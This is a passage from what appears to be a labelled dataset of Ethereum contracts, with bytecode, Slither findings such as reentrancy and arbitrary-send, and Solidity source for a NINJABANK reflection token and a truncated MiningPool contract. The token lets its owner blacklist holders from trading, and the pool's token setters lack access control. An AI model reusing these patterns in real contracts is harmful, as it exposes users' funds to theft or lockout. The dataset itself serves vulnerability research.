14565b915060208301356113fa81611314565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561144c57600080fd5b8151610e1c81611314565b60008060006060848603121561146c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561149757600080fd5b81518015158114610e1c57600080fd5b634e487b7160e01b600052601160045260246000fd5b60008160001904831182151516156114d7576114d76114a7565b500290565b6000828210156114ee576114ee6114a7565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115595784516001600160a01b031683529383019391830191600101611534565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261159757634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156115af576115af6114a7565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202504bfa49495990dccb63a7387f3df098823c6958ca29f80f16da5f69f4f0c9264736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,693 |
0xa58528c6d179d886224115e31e8adbd071a7e9f1
|
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract NINJABANK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
uint256 private _sellTax;
uint256 private _buyTax;
address payable private _feeAddress;
string private constant _name = "NINJABANK";
string private constant _symbol = "NINJABANK";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private removeMaxTx = false;
uint256 private _maxHeldAmount = _tTotal;
uint256 private _maxBuyAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxHeldAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddress = payable(0x1e760BD6B73d5009597A2fa8bA234B537DD2209c);
_buyTax = 15;
_sellTax = 15;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setRemoveMaxTx(bool onoff) external onlyOwner() {
removeMaxTx = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0);
require(!bots[from]);
if (!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to] ) {
_feeAddr1 = 0;
_feeAddr2 = _buyTax;
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) {
uint walletBalance = balanceOf(address(to));
require(amount <= _maxBuyAmount);
require(amount.add(walletBalance) <= _maxHeldAmount);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 0;
_feeAddr2 = _sellTax;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddress.transfer(amount);
}
function createPair() external onlyOwner(){
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function openTrading() external onlyOwner() {
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
removeMaxTx = true;
_maxBuyAmount = 5000000000 * 10**9;
_maxHeldAmount = 20000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() public onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() public onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
if (maxTxAmount > 5000000000 * 10**9) {
_maxHeldAmount = maxTxAmount;
}
}
function _setSellTax(uint256 sellTax) external onlyOwner() {
if (sellTax < 15) {
_sellTax = sellTax;
}
}
function setBuyTax(uint256 buyTax) external onlyOwner() {
if (buyTax < 15) {
_buyTax = buyTax;
}
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a14610316578063c3c8cd8014610336578063c9567bf91461034b578063dbe8272c14610360578063dc1052e214610380578063dd62ed3e146103a057600080fd5b8063715018a6146102a45780638da5cb5b146102b957806395d89b411461013a5780639e78fb4f146102e1578063a9059cbb146102f657600080fd5b8063273123b7116100f2578063273123b714610213578063313ce5671461023357806346df33b71461024f5780636fc3eaec1461026f57806370a082311461028457600080fd5b806306fdde031461013a578063095ea7b31461017b57806318160ddd146101ab5780631bbae6e0146101d157806323b872dd146101f357600080fd5b3661013557005b600080fd5b34801561014657600080fd5b5060408051808201825260098152684e494e4a4142414e4b60b81b60208201529051610172919061164b565b60405180910390f35b34801561018757600080fd5b5061019b6101963660046116c5565b6103e6565b6040519015158152602001610172565b3480156101b757600080fd5b50683635c9adc5dea000005b604051908152602001610172565b3480156101dd57600080fd5b506101f16101ec3660046116f1565b6103fd565b005b3480156101ff57600080fd5b5061019b61020e36600461170a565b610449565b34801561021f57600080fd5b506101f161022e36600461174b565b6104b2565b34801561023f57600080fd5b5060405160098152602001610172565b34801561025b57600080fd5b506101f161026a366004611776565b6104fd565b34801561027b57600080fd5b506101f1610545565b34801561029057600080fd5b506101c361029f36600461174b565b610579565b3480156102b057600080fd5b506101f161059b565b3480156102c557600080fd5b506000546040516001600160a01b039091168152602001610172565b3480156102ed57600080fd5b506101f161060f565b34801561030257600080fd5b5061019b6103113660046116c5565b61084e565b34801561032257600080fd5b506101f16103313660046117a9565b61085b565b34801561034257600080fd5b506101f16108f1565b34801561035757600080fd5b506101f1610931565b34801561036c57600080fd5b506101f161037b3660046116f1565b610b06565b34801561038c57600080fd5b506101f161039b3660046116f1565b610b3e565b3480156103ac57600080fd5b506101c36103bb36600461186e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103f3338484610b76565b5060015b92915050565b6000546001600160a01b031633146104305760405162461bcd60e51b8152600401610427906118a7565b60405180910390fd5b674563918244f400008111156104465760108190555b50565b6000610456848484610c9a565b6104a884336104a385604051806060016040528060288152602001611a6d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f63565b610b76565b5060019392505050565b6000546001600160a01b031633146104dc5760405162461bcd60e51b8152600401610427906118a7565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105275760405162461bcd60e51b8152600401610427906118a7565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461056f5760405162461bcd60e51b8152600401610427906118a7565b4761044681610f9d565b6001600160a01b0381166000908152600260205260408120546103f790610fd7565b6000546001600160a01b031633146105c55760405162461bcd60e51b8152600401610427906118a7565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106395760405162461bcd60e51b8152600401610427906118a7565b600f54600160a01b900460ff16156106935760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610427565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106f357600080fd5b505afa158015610707573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061072b91906118dc565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561077357600080fd5b505afa158015610787573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ab91906118dc565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107f357600080fd5b505af1158015610807573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082b91906118dc565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103f3338484610c9a565b6000546001600160a01b031633146108855760405162461bcd60e51b8152600401610427906118a7565b60005b81518110156108ed576001600660008484815181106108a9576108a96118f9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108e581611925565b915050610888565b5050565b6000546001600160a01b0316331461091b5760405162461bcd60e51b8152600401610427906118a7565b600061092630610579565b90506104468161105b565b6000546001600160a01b0316331461095b5760405162461bcd60e51b8152600401610427906118a7565b600e5461097c9030906001600160a01b0316683635c9adc5dea00000610b76565b600e546001600160a01b031663f305d719473061099881610579565b6000806109ad6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a1057600080fd5b505af1158015610a24573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a499190611940565b5050600f8054674563918244f400006011556801158e460913d0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610ace57600080fd5b505af1158015610ae2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610446919061196e565b6000546001600160a01b03163314610b305760405162461bcd60e51b8152600401610427906118a7565b600f81101561044657600b55565b6000546001600160a01b03163314610b685760405162461bcd60e51b8152600401610427906118a7565b600f81101561044657600c55565b6001600160a01b038316610bd85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610427565b6001600160a01b038216610c395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610427565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfe5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610427565b6001600160a01b038216610d605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610427565b60008111610d6d57600080fd5b6001600160a01b03831660009081526006602052604090205460ff1615610d9357600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610dd557506001600160a01b03821660009081526005602052604090205460ff16155b15610f53576000600955600c54600a55600f546001600160a01b038481169116148015610e105750600e546001600160a01b03838116911614155b8015610e3557506001600160a01b03821660009081526005602052604090205460ff16155b8015610e4a5750600f54600160b81b900460ff165b15610e85576000610e5a83610579565b9050601154821115610e6b57600080fd5b601054610e7883836111e4565b1115610e8357600080fd5b505b600f546001600160a01b038381169116148015610eb05750600e546001600160a01b03848116911614155b8015610ed557506001600160a01b03831660009081526005602052604090205460ff16155b15610ee6576000600955600b54600a555b6000610ef130610579565b600f54909150600160a81b900460ff16158015610f1c5750600f546001600160a01b03858116911614155b8015610f315750600f54600160b01b900460ff165b15610f5157610f3f8161105b565b478015610f4f57610f4f47610f9d565b505b505b610f5e838383611243565b505050565b60008184841115610f875760405162461bcd60e51b8152600401610427919061164b565b506000610f94848661198b565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108ed573d6000803e3d6000fd5b600060075482111561103e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610427565b600061104861124e565b90506110548382611271565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110a3576110a36118f9565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110f757600080fd5b505afa15801561110b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112f91906118dc565b81600181518110611142576111426118f9565b6001600160a01b039283166020918202929092010152600e546111689130911684610b76565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111a19085906000908690309042906004016119a2565b600060405180830381600087803b1580156111bb57600080fd5b505af11580156111cf573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806111f18385611a13565b9050838110156110545760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610427565b610f5e8383836112b3565b600080600061125b6113aa565b909250905061126a8282611271565b9250505090565b600061105483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113ec565b6000806000806000806112c58761141a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112f79087611477565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461132690866111e4565b6001600160a01b038916600090815260026020526040902055611348816114b9565b6113528483611503565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161139791815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea000006113c68282611271565b8210156113e357505060075492683635c9adc5dea0000092509050565b90939092509050565b6000818361140d5760405162461bcd60e51b8152600401610427919061164b565b506000610f948486611a2b565b60008060008060008060008060006114378a600954600a54611527565b925092509250600061144761124e565b9050600080600061145a8e87878761157c565b919e509c509a509598509396509194505050505091939550919395565b600061105483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f63565b60006114c361124e565b905060006114d183836115cc565b306000908152600260205260409020549091506114ee90826111e4565b30600090815260026020526040902055505050565b6007546115109083611477565b60075560085461152090826111e4565b6008555050565b6000808080611541606461153b89896115cc565b90611271565b90506000611554606461153b8a896115cc565b9050600061156c826115668b86611477565b90611477565b9992985090965090945050505050565b600080808061158b88866115cc565b9050600061159988876115cc565b905060006115a788886115cc565b905060006115b9826115668686611477565b939b939a50919850919650505050505050565b6000826115db575060006103f7565b60006115e78385611a4d565b9050826115f48583611a2b565b146110545760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610427565b600060208083528351808285015260005b818110156116785785810183015185820160400152820161165c565b8181111561168a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461044657600080fd5b80356116c0816116a0565b919050565b600080604083850312156116d857600080fd5b82356116e3816116a0565b946020939093013593505050565b60006020828403121561170357600080fd5b5035919050565b60008060006060848603121561171f57600080fd5b833561172a816116a0565b9250602084013561173a816116a0565b929592945050506040919091013590565b60006020828403121561175d57600080fd5b8135611054816116a0565b801515811461044657600080fd5b60006020828403121561178857600080fd5b813561105481611768565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156117bc57600080fd5b823567ffffffffffffffff808211156117d457600080fd5b818501915085601f8301126117e857600080fd5b8135818111156117fa576117fa611793565b8060051b604051601f19603f8301168101818110858211171561181f5761181f611793565b60405291825284820192508381018501918883111561183d57600080fd5b938501935b8285101561186257611853856116b5565b84529385019392850192611842565b98975050505050505050565b6000806040838503121561188157600080fd5b823561188c816116a0565b9150602083013561189c816116a0565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118ee57600080fd5b8151611054816116a0565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119395761193961190f565b5060010190565b60008060006060848603121561195557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561198057600080fd5b815161105481611768565b60008282101561199d5761199d61190f565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119f25784516001600160a01b0316835293830193918301916001016119cd565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a2657611a2661190f565b500190565b600082611a4857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a6757611a6761190f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204f15af3a9e831aec3e3a599e6b01ca2a5d72c3319263a553677b7deb6106149e64736f6c63430008080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 2,694 |
0x655af27fd486ac6acb67ccf760e180421930276f
|
pragma solidity 0.7.1;
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function totalSupply() external view returns (uint256);
function burn(uint256 value) external returns (bool);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function token0() external view returns (address);
function token1() external view returns (address);
}
contract PoolRewardToken {
mapping (address => uint256) public _balanceOf;
string public constant name = "MalwareChain DAO";
string public constant symbol = "MDAO";
uint8 public constant decimals = 18;
uint256 public totalSupply = 0;
mapping(address => mapping(address => uint256)) private _allowances;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function balanceOf(address account) public view returns (uint256 value) {
return _balanceOf[account];
}
function transfer(address to, uint256 value) public returns (bool success) {
require(_balanceOf[msg.sender] >= value);
_balanceOf[msg.sender] -= value; // deduct from sender's balance
_balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
function transferMultiple(address[] memory to, uint256 value) public returns (bool success) {
require(_balanceOf[msg.sender] >= value);
_balanceOf[msg.sender] -= value;
value /= to.length;
for (uint256 i = 0; i < to.length; i++) {
_balanceOf[to[i]] += value;
emit Transfer(msg.sender, to[i], value);
}
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 value) public returns (bool success) {
_allowances[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
require(value <= _balanceOf[from]);
require(value <= _allowances[from][msg.sender]);
_balanceOf[from] -= value;
_balanceOf[to] += value;
_allowances[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
function mint(address to, uint256 value) internal {
totalSupply += value;
_balanceOf[to] += value;
emit Transfer(address(0), to, value);
}
function burn(uint256 value) public returns (bool success) {
require(value <= _balanceOf[msg.sender]);
totalSupply -= value;
_balanceOf[msg.sender] -= value;
return true;
}
}
abstract contract Ownable {
address public owner_;
constructor() {
owner_ = msg.sender;
}
modifier onlyOwner() {
if (msg.sender == owner_)
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) owner_ = newOwner;
}
}
contract MiningPool is PoolRewardToken, Ownable {
uint8 public constant BLOCK_STEP = 10;
uint256 public constant BLOCK_FEE_PERCENT = 100000;
struct Investor {
uint256 depositMALW;
uint256 depositLPETH;
uint256 depositLPUSDT;
uint256 lastZeroPtr;
bool initialized;
}
struct BlockInfo {
uint256 totalDepositsMALW;
uint256 totalDepositsLPETH;
uint256 totalDepositsLPUSDT;
uint256 lpETHPrice;
uint256 lpUSDTPrice;
uint256 blockLength;
uint256 blockReward;
uint256 lpPart;
}
uint256 public BLOCK_REWARD = 10**18 * 400;
uint256 public LP_PART = 10**4 * 80;
uint256 public deployBlock;
uint256 public lastRecordedBlock;
uint256 public totalDepositsMALW;
uint256 public totalDepositsLPETH;
uint256 public totalDepositsLPUSDT;
BlockInfo[1000000] public history;
uint256 public arrayPointer;
mapping (address => Investor) public investors;
bool public miningFinished = false;
uint256 public masternodeRewardsBalance;
uint256 public feesBalance;
mapping (uint256 => uint256) public masternodeRewardsClaimedNonces;
IERC20 public _tokenMALW;
IERC20 public _tokenLPETH;
IERC20 public _tokenLPUSDT;
event Deposit(address indexed investor, uint256 valueMALW, uint256 valueLPETH, uint256 valueLPUSDT);
event Harvest(address indexed investor, uint256 value);
event Withdraw(address indexed investor, uint256 valueMALW, uint256 valueLPETH, uint256 valueLPUSDT);
event MasternodeReward(address indexed owner, uint256 value, uint256 nonce);
event FeesSpent(address indexed to, uint256 value);
event RewardChanged(uint256 newValue);
event LPPartChanged(uint256 newValue);
constructor() {
deployBlock = block.number;
emit RewardChanged(BLOCK_REWARD);
}
function setMALWToken(address token) public {
require(address(_tokenMALW) == address(0), "Address was already set");
_tokenMALW = IERC20(token);
}
function setLPETHToken(address token) public {
require(address(_tokenLPETH) == address(0), "Address was already set");
_tokenLPETH = IERC20(token);
}
function setLPUSDTToken(address token) public {
require(address(_tokenLPUSDT) == address(0), "Address was already set");
_tokenLPUSDT = IERC20(token);
}
function setBlockReward(uint256 value) public onlyOwner {
recordHistory();
BLOCK_REWARD = value;
emit RewardChanged(value);
}
function setLPPart(uint256 value) public onlyOwner { // 1% = 10000
require(value < 90 * 10**4, "Maximum value is 900000 (90%)");
recordHistory();
LP_PART = value;
emit LPPartChanged(value);
}
function currentBlock() public view returns (uint256) {
return (block.number - deployBlock) / BLOCK_STEP;
}
function recordHistoryNeeded() public view returns (bool) {
return !miningFinished && lastRecordedBlock < currentBlock();
}
function getBlockTotalDepositsMALW(uint256 blk) public view returns (uint256) {
if (blk >= arrayPointer)
return totalDepositsMALW;
return history[blk].totalDepositsMALW;
}
function getBlockTotalDepositsLPETH(uint256 blk) public view returns (uint256) {
if (blk >= arrayPointer)
return totalDepositsLPETH;
return history[blk].totalDepositsLPETH;
}
function getBlockTotalDepositsLPUSDT(uint256 blk) public view returns (uint256) {
if (blk >= arrayPointer)
return totalDepositsLPUSDT;
return history[blk].totalDepositsLPUSDT;
}
function getBlockLPETHPrice(uint256 blk) public view returns (uint256) {
if (blk >= arrayPointer)
return getCurrentLPETHPrice();
return history[blk].lpETHPrice;
}
function getBlockLPUSDTPrice(uint256 blk) public view returns (uint256) {
if (blk >= arrayPointer)
return getCurrentLPUSDTPrice();
return history[blk].lpUSDTPrice;
}
function getCurrentLPETHPrice() public view returns (uint256) {
if (address(_tokenLPETH) == address(0))
return 0;
return _tokenLPETH.totalSupply() > 0 ? getReserve(_tokenLPETH) / _tokenLPETH.totalSupply() : 0; // both MALWDAO and UNI-V2 have 18 decimals
}
function getCurrentLPUSDTPrice() public view returns (uint256) {
if (address(_tokenLPUSDT) == address(0))
return 0;
